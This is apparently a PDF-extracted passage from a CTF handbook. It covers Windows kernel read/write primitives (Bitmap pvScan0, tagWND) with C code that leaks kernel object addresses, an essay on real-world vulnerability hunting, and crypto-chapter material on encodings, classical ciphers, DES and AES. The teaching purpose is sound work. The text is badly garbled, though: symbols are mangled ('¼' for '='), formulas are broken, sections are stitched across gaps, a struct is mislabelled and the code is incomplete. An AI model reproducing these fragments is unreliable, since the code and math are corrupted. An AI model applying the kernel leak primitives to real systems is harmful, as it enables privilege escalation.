Here we briefly introduce two classical kernel read-write primitives that have
appeared in history: the Bitmap primitive and the tagWND primitive.
From the previous analysis, it is easy to think that to achieve the effect of arbitrary
kernel memory read and write, it is just to find some kernel objects in the kernel
space. These kernel objects need to have some pointer domain or length fields, such
as in the browser exploitation techniques often use Array as a way to get the memory
read and write primitive because Array objects usually have a length field and a
pointer to represent the data storage buffer. When the pointer or length field of these
objects is controlled, the purpose of arbitrary memory reads and writes is achieved.
Of course, the target object in kernel space is not only required to meet the conditions
but also needs to be able to be accessed in the user space. Bitmap is one such GDI
object with the following structure, where there exists a pointer domain pvScan0.
SetBitmapBits is a Win32 API function derived from the gdi32.dll module, which
can be called directly from the user state. The kernel implementation of this function
is NtGdiSetBitmapBits, where the following code exists.
pjDst = psurf->SurfObj.pvScan0;
pjSrc = pvBits;
lDeltaDst = psurf->SurfObj.lDelta;
lDeltaSrc = WIDTH_BYTES_ALIGN16(nWidth, cBitsPixel);
while (nHeight--) {
memcpy(pjDst, pjSrc, lDeltaSrc);
pjSrc += lDeltaSrc;
pjDst += lDeltaDst;
}
It can be seen that the pvScan0 parameter in the SURFOBJ object is used directly
as a pointer to the buffer. Similarly, a similar code exists in the Win32 API function
544 6 PWN
pjSrc = psurf->SurfObj.pvScan0;
pjDst = pvBits;
lDeltaSrc = psurf->SurfObj.lDelta;
lDeltaDst = WIDTH_BYTES_ALIGN16(nWidth, cBitsPixel);
while (nHeight--) {
RtlCopyMemory(pjDst, pjSrc, lDeltaDst);
pjSrc += lDeltaSrc;
pjDst += lDeltaDst;
}
Similar to Bitmap, tagWND is a GUI object that represents a form in the kernel
with the following structure.
typedef struct {
PVOID64 pKernelAddress;
USHORT wProcessId;
USHORT wCount;
USHORT wUpper;
USHORT wType;
PVOID64 pUserAddress;
} GDICELL64;
where the pKernelAddress field points to the address of the Bitmap object. The
leaked example code is as follows.
typedef struct {
PVOID64 pKernelAddress;
USHORT wProcessId;
USHORT wCount;
USHORT wUpper;
USHORT wType;
PVOID64 pUserAddress;
} GDICELL64, *PGDICELL64;
PVOID leak_bitmap(VOID) {
INT64 PebAddr = 0, TebAddr = 0;
PGDICELL64 pGdiSharedHandleTable = NULL;
HBITMAP BitmapHandle = 0;
INT64 ArrayIndex = 0;
The offset 0x60 bytes of the ProcessEnvironmentBlock field in the TEB structure
points to the associated PEB, see Fig. 6.63.
The offset of the GdiSharedHandleTable field in the TEB structure is 0xf8, see
Fig. 6.64.
The CreateBitmap function returns an array of index values in the lower bit of the
handle.
A global pointer variable named gSharedInfo exists in the user32.dll module.
WNDMSG DefWindowSpecMsgs;
} SHAREDINFO, *PSHAREDINFO;
PVOID leak_tagWND(VOID) {
HMODULE ModuleHandle = NULL;
PSHAREDINFO gSharedInfoPtr = NULL;
ModuleHandle = LoadLibrary(L"user32.dll");
gSharedInfoPtr = GetProcAddress(ModuleHandle, "gSharedInfo");
return gSharedInfoPtr->aheList;
}
6.9.3 References
BlackHat USA 2017: Taking Windows 10 Kernel Exploitation To The Next Level
Defcon 25: Demystifying Kernel Exploitation By Abusing GDI Objects
BlackHat USA 2016: Attacking Windows By Windows
ReactOS Project: ReactOS Project Wiki
Pavel Yosifovich, Alex Ionescu, Mark Russinovich: Windows Internals
Intel: Intel® 64 and IA-32 Architectures Software Developer’s Manual
CTF has been in existence for more than 20 years, and even the experienced “old
sticks” have grown up from newcomers. Just like e-sports players will eventually
retire, most CTF players will also choose to fade out as they graduate and can no
548 6 PWN
longer devote too much energy to competitions. Not playing competitively does not
mean that the “old stick” has given up on information security. On the contrary, they
turn to the real world as a big CTF, with real software as their challenge, to find the
real vulnerabilities.
Compared to CTF challenges, real-world vulnerability mining is a lot different.
CTF participants who are new to the challenge often find it difficult to adapt. For
those who have been exposed to CTF and have already established themselves in the
PWN direction, the most important thing to do in real-world vulnerability mining for
the first time is to be patient, as a CTF match usually lasts about 48 h due to the
format, while a single PWN challenge can be solved in a much shorter time, often
within 24 h. This requires the player to quickly identify vulnerabilities and write
code to exploit them. However, a few days of fruitless research on real-world, large,
and complex programs can wear down a person’s patience so much that they
eventually give up. To deal with these large and complex programs in the real
world, one needs to be prepared to invest time in months and even years. Also,
CTF challenges are solvable, but real software is not. It is not uncommon for
vulnerabilities to be found but not exploited for various reasons. Only by being
patient and persevering can you get results.
The second difference between CTF and reality is the target environment. Due to
the constraints of the competition conditions, the PWN challenges in CTF focus on
Linux network services, i.e., menu challenges. However, in reality, attackers have to
face a more complex and bizarre environment, in which Windows Server, OS kernel,
browser, IoT, etc. may appear, and every vulnerability mining is a new challenge.
The only way to avoid stopping in the process of exploiting vulnerabilities is to keep
learning and keep the courage to challenge the unknown.
I’ve done vulnerability mining in CS: GO games for a while, and I'll use this
example to share the difference between real-world vulnerability mining and CTF.
First, the vulnerability mining process relies more on information gathering.
Although all kinds of information are collected in CTF competitions, the reality is
that it takes days or even weeks to learn and understand the target environment and
the knowledge of architecture used. For example, before you start digging for
vulnerabilities in CS: GO, you need to know that the game is made with the Origins
engine, and you need to have a thorough knowledge of the Origins engine, including
development manuals, previous vulnerabilities, research, and analysis of the Origins
engine published in conferences and blogs, and even reverse engineering of the
game by add-on writers.
Secondly, the attack surface analysis: the CTF challenges are programs written
specifically for exploiting vulnerabilities without much extra code, and due to cost
constraints, the amount of code is incomparable to real-world software. For the CTF
PWN challenges, the participant will generally analyze the program from start to
finish, find the vulnerability, and then start scripting the exploit. Real-world vulner-
ability mining often requires attack surface analysis. This is because real-world
software is often very large, and much of the code is not accessible to attack. For
example, some software functions require special configuration to use, and some
network services that require authentication can only be used with limited
6.10 From CTF to Real-World PWNs 549
functionality without knowing the username and password. For this reason, we need
to conduct an attack surface analysis to identify the code that is vulnerable to attack
and focus on it.
For example, there are three attack surfaces of CS: GO client games: (1) setting up
a malicious server to communicate with the client; (2) using a malicious client to
play online games with other people, and then attacking the other client through
voice or chat; (3) uploading malicious maps, mods, plug-ins, etc. for others to
download to attack.
After the attack surface analysis, it can be found that there are not many points to
focus on. The first is the network communication protocol, the second is the client's
parsing of audio and chat messages, and the third is the loading and parsing of maps,
MODs, and other data. These parts of the code are the easiest to attack. Sections such
as 3D computing, processing user input, etc. are of much lower priority.
After all of this prep work, the longest code audit/reverse engineering process
begins. Since the origin engine had a code leak more than a decade ago, the code has
changed a lot, but the overall architecture remains the same, so it is possible to
combine source code and reverse engineering to do the vulnerability mining faster.
Unlike the CTF, which ended in 48 hours, my reverse engineering and vulnerability
mining of CS: GO lasted about a month.
Usually, the time to reverse a PWN in a CTF is less than the time consumed by an
exploit. The time to reverse is much longer than the time needed to exploit a
vulnerability in actual vulnerability mining. Moreover, the challenges in CTF have
intended solutions, which can be exploited by following the ideas of the author, but
there are no intended solutions in actual vulnerability mining, which means that there
are unexploitable vulnerabilities, which may be that there is no way to execute the
vulnerability code in the default configuration, or there is no way to bypass the
protection mechanism. Especially in today’s environment of constantly updated
vulnerability mitigations, a single vulnerability is often impossible to exploit. It is
often necessary to combine several vulnerabilities to achieve remote code execution,
which is often referred to as an exploit chain in 0day attacks. I have found more than
10 vulnerabilities in the CS: GO code, but so far I have not been able to make up a
complete exploit chain for a stable remote attack on a CS: GO client in Windows 10.
Another obvious difference from CTF exploits is that realistically, exploits can
often refer to other researchers’ ideas on how to exploit vulnerabilities. This is
because there are often functions, constructs, etc. in a program that can help an
attacker to exploit an exploit. In this case, it can be very rewarding to refer to some
examples of exploits performed by previous researchers.
Although the actual vulnerability mining is very different from CTF, the exploit
philosophy, fundamentals, and reverse fundamentals will remain the same. With a
little adaptation and patience, I believe that readers will be able to harvest their 0day
exploits.
550 6 PWN
6.11 Summary
The author’s exposure to binary vulnerabilities began at the CTF and, like many
others, he went through the process of attending the CTF and conducting actual
security research.
1. the difference between CTF and actual vulnerability mining
There are two main differences between participating in a CTF and digging for
actual vulnerabilities: platform and perspective.
First of all, the platforms are different, and the vulnerability challenges in CTF
mainly focus on PWN under Linux, although from 2018 onwards, there have been
challenges that are closer to real vulnerabilities, Linux is still the main keynote. I
have also been asked why so few of the security researchers already working do
Linux PC security research. In fact, there is no superiority between Windows and
Linux platforms, but security research efforts need to consider the factors of reach
and impact. For the PC side, security researchers generally focus on the mainstream
products of Microsoft, Google, Apple, Adobe, and other companies, because these
products have many users, and if problems occur, the impact is more widespread.
Moreover, the most important thing to learn in CTF is not certain skills, but the
ability to learn quickly, or rather, it is more important to develop the ability to learn
quickly than to master certain skills. Moreover, this ability is present in most CTF
participants because CTF challenges are variable and often require participants to
quickly master something they have not been exposed to at all. Therefore, the
platform differences between Linux and Windows are not an insurmountable gap
that prevents CTF participants from becoming security researchers.
Second, the perspective is different. Actual exploits may sometimes be simpler
than CTF. Because of the time constraint of the CTF competition, the vulnerability
challenge is more about exploits, for which the challenge author will often devise all
kinds of restrictions and deliberately design the code so that the players can
circumvent these restrictions through various techniques. In actual binary vulnera-
bility research work, exploits are a relatively small part of the research process. On
the one hand, actual binary vulnerabilities tend to have somewhat generic exploits.
More importantly, because of the sheer size and complexity of real software,
researchers need to invest a lot of time in code analysis and vulnerability mining.
There is very little in-depth analysis of vulnerabilities in CTFs, mainly because
the vulnerabilities in CTFs are designed by humans. Most of the code in a CTF
challenge is designed to construct vulnerabilities or to be exploitable. Therefore, in
the process of doing PWN challenges, there are very few cases where it takes a long
time to analyze the code to find the vulnerabilities, and to analyze more code to be
able to exploit the vulnerabilities.
Actual vulnerability mining is different. It often takes days or even months of
work to find a vulnerability. But it doesn’t end there. Vulnerabilities like heap
overflow often require as much effort to analyze more code as they do to figure
out the memory structure and arrange the memory in the way you need it.
6.11 Summary 551
Besides the Web and binary, another important category of challenges in the CTF is
Crypto (cryptography). Cryptography is an ancient subject that has developed with
people’s growing pursuit of information confidentiality, and has become the foun-
dation of modern cybersecurity. In recent years, the difficulty of cryptography
challenges in CTF has been increasing, and the percentage of these challenges is
also increasing. Compared with the Web and binary challenges, cryptography tests
the basic knowledge of the participants and requires high mathematical knowledge,
logical thinking ability and analytical ability.
The cryptography challenges in CTF are varied and include, but are not
limited to: providing a large number of secret messages for certain cryptosystems
and analyzing the plaintext using statistical patterns; providing a custom cryptosys-
tem with weaknesses and the participant needs to analyze the weaknesses and
recover the plaintext; or providing an interactive interface to a weak encryption/
decryption system and the participant needs to exploit the weaknesses of the
cryptosystem to reveal certain sensitive information.
This chapter begins with encoding, then introduces classical cryptosystems, then
introduces the most representative of modern cryptosystems and the block ciphers,
stream ciphers, and public key cryptosystems often found in CTFs, and finally
introduces other common applications of cryptography in CTFs. (Some of the
encodings and cryptosystems in this chapter are introduced with references to
relevant Wikipedia entries: https://wikipedia.org/.)
Due to space limitations, it is not possible to cover all the principles of
cryptosystems in this chapter, but rather to introduce the basic concepts and
problem-solving methods. The introductory knowledge required in this chapter
includes elementary mathematics, basic number theory, and abstract algebra.
© The Author(s), under exclusive license to Springer Nature Singapore Pte Ltd. 2022 553
Nu1L Team, Handbook for CTFers,
https://doi.org/10.1007/978-981-19-0336-6_7
554 7 Crypto
7.1 Encoding
Encoding and decoding is a fairly broad topic involving the fundamental way
computers process information. The most commonly used encoding is ASCII
(American Standard Code for Information Interchange), which contains internation-
ally accepted upper and lower case letters, numbers, common punctuations, etc., and
is a universal encoding of the Internet.
Another well known code is Morse code, which is an intermittent signal code that
was an early form of telecommunication. Unlike binary codes that use only two
states, 0 and 1, the Morse code consists of the following.
• Dot (•): the basic unit.
• Dash (―): the length of 3 dots.
• Spacing between dots and dashes within a letter or digit: the length of 2 dots.
• Spacing between letters (or digits): the length of 7 dots.
This encoding scheme (Fig. 7.1) can turn written characters into signals, greatly
facilitating the communication of telegraph systems.
Generally, the purpose of encoding is to process the original information for
easier transmission, storage, etc. However, unlike encryption, encoding is not
intended to hide information, nor does it use additional information such as keys;
it is only necessary to know the encoding method to obtain the original content.
1. Base64
Base64 is a method of representing binary data based on 64 printable characters. 26
¼ 64, so every 6 bits is a unit, corresponding to a printable character. 3 bytes have
24 bits, corresponding to 4 Base64 units, which means that 4 printable characters can
represent 3 bytes of arbitrary binary data. In Base64, printable characters include the
letters A to Z, a to z and numbers 0 to 9, a total of 62 characters, as well as + and /
characters. Base64 is often used in situations where only text data can be processed,
to represent, transmit and store some binary data, including MIME e-mail, XML
complex data and so on.
At conversion, 3 bytes of data are placed in a 24-bit buffer one after the other,
with the first byte taking up the higher bit (see Fig 7.2, image from Wikipedia-
base64). For less than 3 bytes of data, the remaining bits in the buffer are padded
with zeros. 6 bits are fetched at a time and selected according to their value from
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
until all input data is converted. If the original data length is not a multiple of 3 and
there is 1 input data left, add 2 “¼” to the encoding result; if there are 2 input data
left, add 1 “¼” to the encoding result. So, one way to recognize Base64 encoding is
to see if there is a “¼” at the end. However, this method is not universal; when the
length of the encoded characters is exactly a multiple of 3, there is no “¼” at the end
of the encoding result.
2. Base32 and Base16
There are also Base32 and Base16 in the Base encoding family, but the purpose of
Base32/Base16 is the same as Base64, only the specific encoding rules are different.
Base32 encoding converts a binary file into text consisting of 32 ASCII
characters.
ABCDEFGHIJKLMNOPQRSTUVWXYZ234567
Base16 encoding converts a binary file into a text consisting of 16 characters, which
are 0-9 and A-F, which is actually Hex encoding.
3. uuencode
uuencode is derived from “unix-to-unix encoding”, which was an encoding scheme
for UNIX systems to transfer binary data from UUCP mail systems. uuencode
encodes the input characters in units of 3 bytes. If there are less than 3 bytes of
characters left, the shortfall is padded with 0. As with Base64, uuencode divides the
3 bytes into four groups of decimal numbers, each of which has a number from 0 to
63 (see Fig. 7.3, image from Wikipedia-uuencode). Adding 32 to each number
produces a result that falls just within the range of ASCII printable characters.
Figure 7.4 shows the uuencode encoded characters, and you can see the charac-
teristic of uuencode: lots of special symbols.
4. xxencode
xxencode is similar to Base64, but uses a different conversion table.
+-0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz
There is just an extra “-” character and the “/” character is removed, and xxencode
uses a “+” for padding at the end, unlike Base64 which uses the “¼”.
7.1 Encoding 557
1. URL Encoding
URL encoding is also known as percent encoding. A URL encodes a character by
first representing the ASCII code of the character as two hexadecimal digits and then
placing the escape character “%” in front of it, if the character has a special meaning
in a particular context and must be used for some other purpose in the URI.
Non-ASCII characters need to be converted to UTF-8 byte order, and then each
byte is represented as described above. For example, since “/” is used as a delimiter
for paths in the URI, it is a reserved character with a special meaning. If the character
needs to appear inside a path component of the URI, then “%2F” or “%2f” should be
used instead of “/”.
2. jjencode and aaencode
Both jjencode and aaencode are ways of encoding JavaScript code. The former
encodes JS code into symbol-only strings, while the latter encodes JS code into
common emoticons, which is essentially an obfuscation of JS code. Examples of
jjencode and aaencode are shown in Figs. 7.5 and 7.6.
This section introduces a lot of encoding schemes, and is only the tip of the iceberg
in the world of encoding schemes. However, there are very few CTFs that present a
wide variety of brain-teasing encoding challenges. Generally, CTF does not specif-
ically examine the ability to memorize various encoding schemes, so you do not
need to waste time memorizing these, and when you do encounter them in CTF, you
can simply search on Google.
1. Caesar Cipher
Among classical ciphers, the Caesar Cipher is one of the simplest and most widely
known encryption techniques. It is a substitution encryption scheme in which letter
in the plaintext is replaced by a letter some fixed number of offsets backward
(or forward) in the alphabet. For example, when the offset is 3, all letter As will be
replaced with Ds, Bs with Es, and so on. This encryption method is named after
Julius Caesar during the Roman Republic, who used it to communicate with his
generals.
The following is the formula for encrypting and decrypting in the Caesar cipher,
where x is the text to be manipulated and n is the key (i.e., the offset).
En ðxÞ ¼ ðx þ nÞmod26
Dn ðxÞ ¼ ðx nÞmod26
The Caesar cipher is a very easy cipher to break, even with a ciphertext-only attack.
When we know (or guess) that a simple substitution is used in the ciphertext, but we
are not sure whether it is a Caesar cipher or not, we can determine whether it is a
Caesar cipher or not by using methods such as frequency analysis or pattern words
analysis.
The solution is even simpler when we know (or guess) that a secret message uses
Caesar cipher, but we don’t know its offset. Since the characters encrypted with
Caesar ciphers are generally letters, the possible offsets used in the cipher are also
limited. For example, English, which uses 26 letters, has a maximum offset of
25 (offset 26 equals offset 0, i.e., no transformation), so it can be easily cracked
by the exhaustive method.
7.2 Classical Ciphers 559
2. Vigenère Cipher
Vigenère Cipher is a cryptographic algorithm that encrypt alphabetic text uses a
series of Caesar ciphers, which is a simple form of multi-table substitution cipher. In
a Caesar cipher, each letter of the alphabet has a certain offset, e.g., at an offset of
3, A is converted to D and B to E. A Vigenère cipher consists of a series of Caesar
ciphers with different offsets.
The encryption process is very simple, assuming that the plaintext is
ATTACKATDAWN, and the key is LEMON. First, repeats the key and forms the
keystream so that it has the same length as the plaintext (LEMONLEMONLE).
Then encrypt the plaintext according to each byte of secret key. If the first byte is L,
which is the 12th letter, then the offset is 12 1¼11. For the first plaintext byte A,
the encrypted ciphertext should be(A + 11) mod 26, i.e. L. By repeating this step, we
can get the final ciphertext, LXFOPVEFRNHR.
Generally, there are some ways to crack the Virginia Code: you can look for a
substring of consecutive characters that appears several times in the cipher, and the
length of the key must be a factor of the interval between them, or you can look for
some common word such as “the”. Of course, there are some tools available (such as
https://atomcated.github.io/Vigenere/ which is in Chinese), and you can use these
online tools to crack the Vigenère Cipher directly when you encounter it.
1. Bacon’s Cipher
Bacon’s Cipher is a steganography invented by Francis Bacon, in which each letter
in plaintext is converted to a set of five letters when encrypted, as shown in Fig. 7.7.
2. Pigpen Cipher
The Pigpen Cipher is a simple substitution cipher based on a grid. Fig. 7.8 shows the
Pigpen Cipher symbols paired with letters. For example, if the plaintext “X marks
the spot” is encrypted, the result is shown in Fig. 7.9.
1. Fence Cipher
Fence cipher is a method of dividing the plaintext into groups of N characters and
then joining the first character of each group to form a string. For encryption,
suppose the plaintext is “wearefamily” and the key is “4”, the key “4” is used to
divide the plaintext into groups of four characters each, “wear || efam || ily”. Then
take out the first, second and third letters of each group in turn, and forms “wei || efl ||
aay || rm”, and then join them together to get the ciphertext “weieflaayrm”.
2. Curve Cipher
Curve cipher is a less common cryptosystem. The key of curve cipher is actually the
number of columns of the table and the curve path. For example, if the plaintext is
“THISISATESTTEXT”, fill the text into the matrix first (Fig. 7.10); then take out the
characters from the table according to the pre-agreed path. You can get the ciphertext
“ISTXETTSTHISETA” (Fig. 7.11).
7.3 Block Ciphers 561
We have to admire the wisdom of the ancients for the various classical ciphers.
However, most CTFs rarely take the encryption and decryption of a classical code as
the core of a challenge. If you encounter a classical cipher that you have never seen
before, you can search on Google, or try some tools such as Ciphey (https://github.
com/Ciphey/Ciphey) or CyberChef (https://gchq.github.io/CyberChef/).
7.3.1.1 ECB
ECB (Electronic Code Book) is the simplest mode of operation, where each block of
plaintext is independently encrypted into ciphertext (Fig. 7.12). If the length of the
plaintext is not a multiple of the block size, it needs to be padded by some specific
method. If the plaintext is P, the ciphertext is C, the encryption algorithm is E, and
the decryption algorithm is D, then the encryption and decryption process in the
ECB mode can be represented as follows.
C i ¼ E ðPi Þ Pi ¼ DðC i Þ
The disadvantage of the ECB mode is that the same plaintext blocks are encrypted
into identical ciphertext blocks, so the data pattern is not well hidden. In some cases,
this method does not provide strict data confidentiality and is therefore not
recommended for cryptographic protocols.
7.3.1.2 CBC
In CBC (Cipher Block Chaining) mode, each plaintext block is encrypted after it has
been XORed with the preceding cipher block (Fig. 7.13). In this mode, each
ciphertext block depends on all the plaintext blocks before it; also, an initialization
vector needs to be used in the first block.
Suppose the index of the first block is 1, then the encryption and decryption of the
CBC can be expressed as follows:
M
C 0 ¼ IV⋯C i ¼ E Pi Ci1
M
C 0 ¼ IV⋯Pi ¼ DðC i Þ Ci1
7.3.1.3 OFB
The OFB (Output FeedBack) mode turns the block cipher into a synchronized stream
cipher, encrypts the output of the previous encryption using the key again
(encrypting the IV for the first time), and the encryption result is used as a key
stream, which is then XORed with the plaintext block to obtain the ciphertext.
Because of the symmetry of the XOR operation, the encryption and decryption
operations are identical, as shown in Fig. 7.14. The OFB model can be represented
by the following formula:
O0 ¼ IV
Oi ¼ EðOi1 Þ
M
C i ¼ Pi Oi
M
Pi ¼ C i Oi
7.3.1.4 CFB
CFB (Cipher FeedBack) is similar to OFB, except that it uses the ciphertext of the
previous block as the input of the current block, while OFB uses the output of
previous block cipher encryption instead of the final ciphertext (Fig. 7.15).
The encryption and decryption of the CFB can be expressed as.
C0 ¼ IV
M
C i ¼ Pi E ðCi1 Þ
M
Pi ¼ C i E ðC i1 Þ
7.3.1.5 CTR
CTR mode (Counter Mode, CM) is also known as ICM mode (Integer Counter
Mode) and SIC mode (Segmented Integer Counter). Similar to OFB, CTR turns
block ciphers into stream ciphers by encrypting successive values of a counter to
produce a keystream. Indeed, the counter can be any function that is guaranteed not
to produce repeated output for a long time, but using a counter is the simplest and
most common practice. CTR mode has similar characteristics to OFB, but also
allows a random access property during decryption, which means the decryption
process can start from any block in the ciphertext instead of the first one.
The “Nonce” in Fig. 7.16 is the same as the IV (initialization vector) in the other
diagrams. The IV and counter should be concatenated so that the same plaintexts
produce different ciphertexts.
566 7 Crypto
Liþ1 ¼ Ri
M
Riþ1 ¼ Li F ðRi , K i Þ
After n rounds of operations, you can get the ciphertext (Rn + 1, Ln + 1).
Decryption is actually doing the entire encryption operation in reverse order.
7.3 Block Ciphers 567
Ri ¼ Liþ1
M
Li ¼ Riþ1 F ðLiþ1 , K i Þ
After n rounds of operations, you can get the plaintext (L0, R0).
Note that the Feistel cipher only encrypts half of the bytes in each round of
encryption, and the round function F does not need to be reversible. Essentially, the
round function F can be treated as a random generator, and if there is no way to
predict the data generated in each round, then there is no way for an attacker to use
this as a breakthrough point to attack the cryptosystem.
7.3.2.2 DES
Table 7.1 IP 58 50 42 34 26 18 10 2
60 52 44 36 28 20 12 4
62 54 46 38 30 22 14 6
64 56 48 40 32 24 16 8
57 49 41 33 25 17 9 1
59 51 43 35 27 19 11 3
61 53 45 37 29 21 13 5
63 55 47 39 31 23 15 7
1. Initial Permutation
First, DES will process the user input, in a way called Initial Permutation, in which
the user input will be replaced in the order shown in Table 7.1.
According to the table, the 58th bit of the user’s input M becomes the first bit of
the result IP, the 50th bit of M becomes the second bit of the IP, and so on. The
following is the result of a particular input M after IP.
M = 0000 0001 0010 0011 0100 0101 0110 0111 1000 1001 1010 1011 1100 1101
1110 1111
IP = 1100 1100 0000 0000 1100 1100 1111 1111 1111 0000 1010 1010 1111 0000
1010 1010
Dividing the IP into left and right parts of equal length yields the initial L and R
values.
2. Generation of subkeys
First, the incoming original key is substituted to generate a 64-bit key according to
Table 7.2. The first number in the table is 57, which means that the 57th bit of the
original key becomes the first bit of the permutation key key+; similarly, the 49th bit
of the original key becomes the second bit of the permutation key. Note that the
operation here takes only 56 bits from the original key; the highest significant bit of
each byte of the original key is not used.
7.3 Block Ciphers 569
After the permutation key is obtained, it is divided into two parts, C0 and D0.
After C0 and D0 are obtained, the values of C1-C16 and D1-D16 can be obtained by
cyclic left shift of C0 and D0, and the number of bits for each cyclic shift is as
follows.
1122222212222221
For example, for the previous C0 and D0, shifting them left by one bit in the first
round yields C1 and D1, while further shifting them left by one bit yields C2 and D2.
C1 = 1110000110011001010101011111
D1 = 1010101011001100111100011110
C2 = 1100001100110010101010111111
D2 = 0101010110011001111000111101
Next, by combining each group of Cn and Dn, we obtain 16 blocks of data, each
with 56 bits. Finally, by applying another permutation in Table 7.3, we get K1 to
K16.
For example, for the previously mentioned C1D1, the calculation yields the
corresponding K1.
3. Round Function
The round function F used in DES is shown in Fig. 7.18.
Each round of input will enter the E function and expand it to 48 bits. The method
of expansion is similar to the previous permutation process, which uses Table 7.4.
The following is an example of an input extended by the E function.
When the expansion is complete, this input is XORed with the corresponding
subkey, resulting in 48 bits of data. These 48 bits are divided into eight groups of six
bits data, which index the corresponding elements in the S1 to S8 tables. The index
of the elements in S1 to S8 are in the range of 0 to 15, i.e., 4 bits. Finally, these eight
4-bit number will be put together again, as a 32-bit data, and then after another
permutation operation to get the output of the F function. There is no difference
between the permutation operation and the previous ones, but the table has changed.
7.3 Block Ciphers 571
7.3.2.3 Examples
Example 7.1 2018 N1CTF N1ES, the challenge gives the encryption key and the
corresponding encryption algorithm, and requires the participant to reverse engineer
the decryption algorithm. The core code snippet of the encryption algorithm is as
follows.
def decrypt(self,ciphertext):
res = ''
for i in range(len(ciphertext) / 16):
block = ciphertext[i * 16:(i + 1) * 16]
L = block[:8]
R = block[8:]
for round_cnt in range(32):
L, R =R, (round_add(L, self.Kn[31-round_cnt]))
L, R = R, L
res += L + R
return res
7.3.3 AES
11 ¼ 3 3 þ 2
3¼21þ1
1 ¼ 2 ð1Þ þ 3 1 ð7:1Þ
2 ¼ 3 ð3Þ þ 11 1 ð7:2Þ
Then,
1 ¼ ½3 ð3Þ þ 11 1 ð1Þ þ 3 1
3 4 þ 11 ð1Þ ¼ 1
At this point, we have obtained a solution x¼4, which is the inverse of 3 modulo 11.
Of course, it is not necessary to implement the various operations for finite field
manually, as there are many tools available that include operations for finite field,
which can be used directly.
Example 7.2 SUCTF 2018 Magic, the core code for this challenge is as follows.
def getMagic():
magic = []
with open("magic.txt") as f:
while True:
line = f.readline()
574 7 Crypto
if (line):
line = int(line, 16)
magic.append(line)
else:
break
return magic
def playMagic(magic, key):
cipher = 0
for i in range(len(magic)):
cipher = cipher << 1
t = magic[i] & key
c=0
while t:
c = (t & 1) ^ c
t = t >> 1
cipher = cipher ^ c
return cipher
def main():
key = flag[5:-1]
assert len(key) == 32
key = key.encode("hex")
key = int(key, 16)
magic = getMagic()
cipher = playMagic(magic, key)
cipher = hex(cipher)[2:-1]
with open("cipher.txt", "w") as f:
f.write(cipher + "\n")
The magic file stores 256 hexadecimal numbers, and the cryptographic logic of
the entire code is to perform bit-wise and operation on the numbers and plaintexts in
each round, and then perform an XOR operation, and finally output the result. Is the
XOR and bit-wise and operation equivalent to some GF(2) operations? The algo-
rithm of the XOR is as follows.
M
0 1¼1 0 þ 1ðmod2Þ ¼ 1
M
0 0¼0 0 þ 0ðmod2Þ ¼ 0
M
1 1¼0 1 þ 1ðmod2Þ ¼ 0
[0 1]
[1 1]
After calculating the inverse of the coefficient matrix, the plaintext is obtained by
multiplying it with the ciphertext.
The algorithm used in AES is called Rijndael Key Schedule (RKS), which generates
a series of subkeys based on the master key. In each round, the data needs to be
XORed with the 128-bit subkey.
Suppose the master key is the following matrix.
5a 55 57 20
05 32
3b 56
f6 5e 7d 5a
17 e2 b8 70
First, the last row, |17 e2 b8 70|, is taken out and shifted left to become |e2 b8 70
17|; and transformed into |cd 36 ee 77| by looking up the values in the SBOX.
Then, the first element is XORed with the first element of the Rcon array, which is a
pre-defined array where the i-th term is the i-1th power of 2 under GF(28).
The operation under GF(28) is similar to that of GF(2), where a number is treated
as a seventh polynomial in the field. The following is a simple example.
As you can see, each coefficient in a polynomial corresponds to a bit in binary form,
so you can convert the operations under GF(28) directly into operations between
polynomials. However, the result of the operation may exceed 255, so it is necessary
to convert the numbers that are out of range. In GF(2), the result is directly modulo
2, but in the GF(28) field, a polynomial is specified, and the result of multiplying two
polynomials is then performed modulo that polynomial. The following polynomial
is used in AES.
pð x Þ ¼ x 8 þ x 4 þ x 3 þ x þ 1
This yields the Rcon array. For the previously obtained data |cd 36 ee 77|,
perform an XOR operation on the first byte with Rcon[1] to obtain |cc 36 ee 77|,
and then XOR this row with the first row of master key |5a 55 57 20| to obtain the
first row of the second subkey |96 63 b9 57|.
Then, the following rows of the second subkey are equal to their previous row in
the second subkey XORing the corresponding row in the first subkey (Fig. 7.19).
Finally, after 10 rounds of operations, the subkeys used in each round of AES are
obtained.
(1) AddRoundKey: performs an XOR operation between the input and the subkey.
(2) SubBytes: The bytes in the state array are replaced with their corresponding
elements in the sbox. The code for substitution is as follows.
row = (data & 0xf0) >> 4;
col = data & 0x0f;
data = sbox[16*row + col];
The inverse of this step is also relatively simple: find the index of the data in the
sbox. To make it easier to look up the sbox, we can prepare an inverse sbox, that
corresponds to the index of the data in sbox.
7.3 Block Ciphers 577
The inverse operation of this step differs in that it replaces the left shift operations
with right shift operations.
(4) MixColumns: Treats each input column as a vector and multiplies it with a fixed
matrix over the GF(2^8) extension, which is actually obtained by bit-by-bit
transformation of the vector |2 1 1 3|.
The inverse operation of multiplying a matrix is done by multiplying the inverse of
that matrix. The corresponding inverse matrix can also be obtained using sage.
Although there are relatively few cryptography challenges that specifically exam-
ine this step, it is not infrequent in reverse challenges, and similar challenges can be
found here: https://github.com/veritas501/attachment_in_blog/tree/master/
Gadgetzan.
578 7 Crypto
1. Byte-at-a-Time
For example, for crypto1 of pwnable.kr, the core code is as follows.
BLOCK_SIZE = 16
PADDING = '\x00'
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * PADDING
EncodeAES = lambda c, s: c.encrypt(pad(s)).encode('hex')
DecodeAES = lambda c, e: c.decrypt(e.decode('hex'))
key = 'erased. but there is something on the real source code'
iv = 'erased. but there is something on the real source code'
cookie = 'erased. but there is something on the real source code'
def AES128_CBC(msg):
cipher = AES.new(key, AES.MODE_CBC, iv)
return DecodeAES(cipher, msg).rstrip(PADDING)
def authenticate(e_packet):
packet = AES128_CBC(e_packet)
id = packet.split('-')[0]
pw = packet.split('-')[1]
if packet.split('-')[2] != cookie:
return 0 # request is not originated from expected server
if hashlib.sha256(id+cookie).hexdigest() == pw and id == 'guest':
return 1
if hashlib.sha256(id+cookie).hexdigest() == pw and id == 'admin':
return 2
return 0
def request_auth(id, pw):
packet = '{0}-{1}-{2}'.format(id, pw, cookie)
